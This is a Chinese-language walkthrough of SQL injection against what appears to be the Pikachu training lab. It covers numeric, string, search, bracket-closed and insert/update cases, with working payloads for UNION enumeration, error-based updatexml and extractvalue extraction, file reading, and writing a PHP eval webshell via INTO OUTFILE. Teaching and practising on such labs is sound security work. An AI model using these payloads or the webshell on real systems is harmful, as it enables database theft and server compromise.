数字型注入
可以看到搜索时是让我们选择数字,不能自己自由输入,同时在url里也没有任何参数。那么我们可以打开bp抓包看一下:
![](https://img.laitimes.com/img/9ZDMuAjOiMmIsIjOiQnIsIyZuBnLjFWM2kTY3I2MlZjMlRmNhZmZzQDMlJGZjhjM3EmMmJzLc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
可以看到是以post方式传入了一个id=1,那么看到他查询的时候都是数字,感觉应该数字型的查询。比如:select * from xxx where id=3;
那么我们可以设置payload为:
id=-1 or 1=1
这样-1肯定为假,无法查到数据,但是1=1为永真,那么所查的这个表中的所有数据都会被查到然后显示出来。
字符型注入
可以看到在url里有我提交的参数,那么这个就是get方式了。而且他是要输入名字,所以很显然,应该是字符型的查找。比如:select * from xxx where name=‘way’;
那么这种情况我们要想构造条件为永真,就需要把引号闭合,那么我们就可以设置payload为:
name=' or '1'='1
这样在查询的时候,sql语句就变成了:select * from xxx where name=‘’ or '1'='1';
但是有一个问题就是我们并不知道字符的引号用的是双引号还是单引号,那么我们就需要测试一下来确定;经过测试发现使用单引号时成功输出所有用户信息。
搜索型注入
搜索型的SQL语句类型是:select xxcolumns from xxtable where name like '%kob%';
其中百分号是适配符,就是前面和后面没有或者至少有一个字符。
首先,在最开始的第一件事情就是:要找闭合。只有找到正确的闭合,我们才能把构造的payload成功执行。
这个用上面的payload也可以看到这张表中的所有信息,但是我们不能看到别的表中的信息,那么我们就可以通过union联合查询来爆库:
1.用order by确定列数。
我们union做联合查询是必须满足的要求是两个联合查询的表其列数要一致。所以我们一般使用order by来确定现在这张表的列数,然后在联合查询获取别的库或者表的数据时,构造相同的列数出来。
order by是用来排序的,但是他可利用的点就是:比如order by 4,她就会按表的第4列来进行排序,所以当我们写的列数不存在,就会出现报错。
先尝试用%‘构造闭合,后面加上orderby尝试列数,然后使用#注释符截断后面原来的语句:
经过尝试,发现列数为3。
2.确定回显位。
因为有的时候并不是表中有几列数据,在返回给我们搜索结果时就展示所有的信息,往往只是展示一部分,所以我们在利用联合查询时,需要将我们想查的信息,放在返回出来展示给我们看的那一列数据。
在这里我们可以用
xxx%' union select 1,2,3#
因为有一些情况中,查询的结果为空,后面union联合查询的结果才能才能被显示,所以我们加了xxx,然后%‘是用来构造闭合,union select 1,2,3就是让1,2,3分别代表一列,一是为了要联合查询的列数与之前试出来的表中的列数保持一致,二是看查询的数据中哪一列是被回显在屏幕上的。
可以看到这个里面是3列都有回显。
3.用union联合查询来爆库。
我们按照上面确定的回显位,来将我们想获得的数据放在对应的列上,来得到想要的信息。
xxx%' union select database(),2,3#
database()这个函数是返回当前表所属的数据库名。
4.利用informaton_schema库来爆表。information_schema 是mysql中用于存储数据库元数据(关于数据的数据)的库,包括数据库名,表名,列名,列的数据类型,访问权限等等。而表名都会在information_schema库中的tables表中。
于是可以用
union select groupconcat(table_name),2(前面试出来有几列就写几个数) from information_schema where tables_schema='库名'#
这个groupconcat()函数将查询的这一列的数据全部拼接,变成一行数据来显示,因为我们使用union时,有的显示位只有一行,不能显示多行,所以这样便于我们直接看到这个库包含的所有的表名。另外tablea_schema这一列是表所在的库,table_name顾名思义就是表名。
5.爆列名。爆出表之后,就可以爆列名,列名是在information_schema库中的columns表,于是可以用
union select group_concat(column_name),2 from information_schema.columns where table_name='表名'#
6.爆具体数据。在上面这些都得到后就可以爆我们想要的具体数据了。
另外我们也可以在某一列上使用load_file('文件路径')来读取想要的文件;或者直接使用'<?php eval($_POST[3]);?>' into outfile 'C:/phpstudy_pro/WWW/pikachu/vul/sqli/3.php'来写入一句话木马。
xx型注入
尝试找闭合,尝试kobe’,但是发现有如下报错:
那就是闭合性是应该是‘)呗,尝试了一下:
果然是,后续就和之前一样了(不知道为啥还要单独写出来,可能是告诉我们闭合有多种情况吧)。
insert/update注入
insert型的sql语句就是下面这种形式:
INSERT INTO 表名称 VALUES (值1, 值2,....)
或者:
INSERT INTO table_name (列1, 列2,...) VALUES (值1, 值2,....) 的形式
update型相关的sql语句::
UPDATE 表名 SET 列名 = 新值 WHERE 列名 = 某值
但是这种一般没有回显,没有办法使用跟刚才那种方式看到我们想到的数据,但是如果它有报错的回显的话,我们就可以使用报错型注入。
在用php对mysql进行一些增删改查操作的时候,如果数据库在执行的过程中遇到错误,数据库的错误回显一般是不会显示在Web应用页面中的,这个就需要在php.ini 中修改display_errors=On,开启PHP错误回显。
1.注册页面
注册页面就是新建一个用户,那么用的就是insert型,这样会向数据库里插入一行新数据。
首先我们要找闭合,尝试注册时我们尝试用)'来闭合:
发现返回了一个信息
发现不是符号的报错,而是提示值的列数不对,那么应该就是猜对了。
这里注册成功之后是没有回显的,所以我们就尝试看看报错型注入,通过报错回显的信息来获得我们想要的数据。
concat+rand()+group_by()导致主键重复
1.floor报错(输出字符长度限制为64个字符)
这种报错方法的本质是因为floor(rand(0)*2)的重复性,导致group by语句出错。group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。
xpath语法错误(mysql版本>5.1.5)
1.updatexml报错(输出字符有长度限制,最长32位)
1.updatexml(xml_document,xpath_string,new_value)
XML_document:是String格式,为XML文档对象的名称
XPath_string :(Xpath格式的字符串)
new_value:String格式,替换查找到的符合条件的数据
利用第二个参数回显我们想要的数据。
2.concat(str1,str2,…)
是连接函数,用于把参数中的字符连接起来(当一个参数为空,那么整个返回值就为空)
3.0x7e就是‘~‘, 同时‘~‘可以换成’#’、’$'等不满足xpath格式的字符。
way' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '
或者完整的语句:
way' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '','22','33','44','55','66')#
返回结果为:
如果后续想用这个来爆库或爆表也是可以的,但是因为有长度限制,所以我们需要使用substr()函数截取或者limit()函数来分页。
substr(string, start, length)
start和length就是选择的截取范围。下面payload中的1,31就是从位置1开始,提取31个字符。
username= ' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),1,31),0x7e),1) or '
2.ExtractValue报错(输出字符有长度限制,最长32位)
EXTRACTVALUE (XML_document, XPath_string);
XML_document:是String格式,为XML文档对象的名称
XPath_string :Xpath格式的字符串
所以这个利用的原理和updatexml函数相同。
and extractvalue(1, payload)
and extractvalue(1, concat(0x7e,@@version,0x7e))
@@version-得到数据库的版本
2.修改页面
这个利用的就是update的sql语句,那么我们其实跟注册页面的方式差不多:找闭合,利用报错型注入,和一些特定的错误和函数获取信息。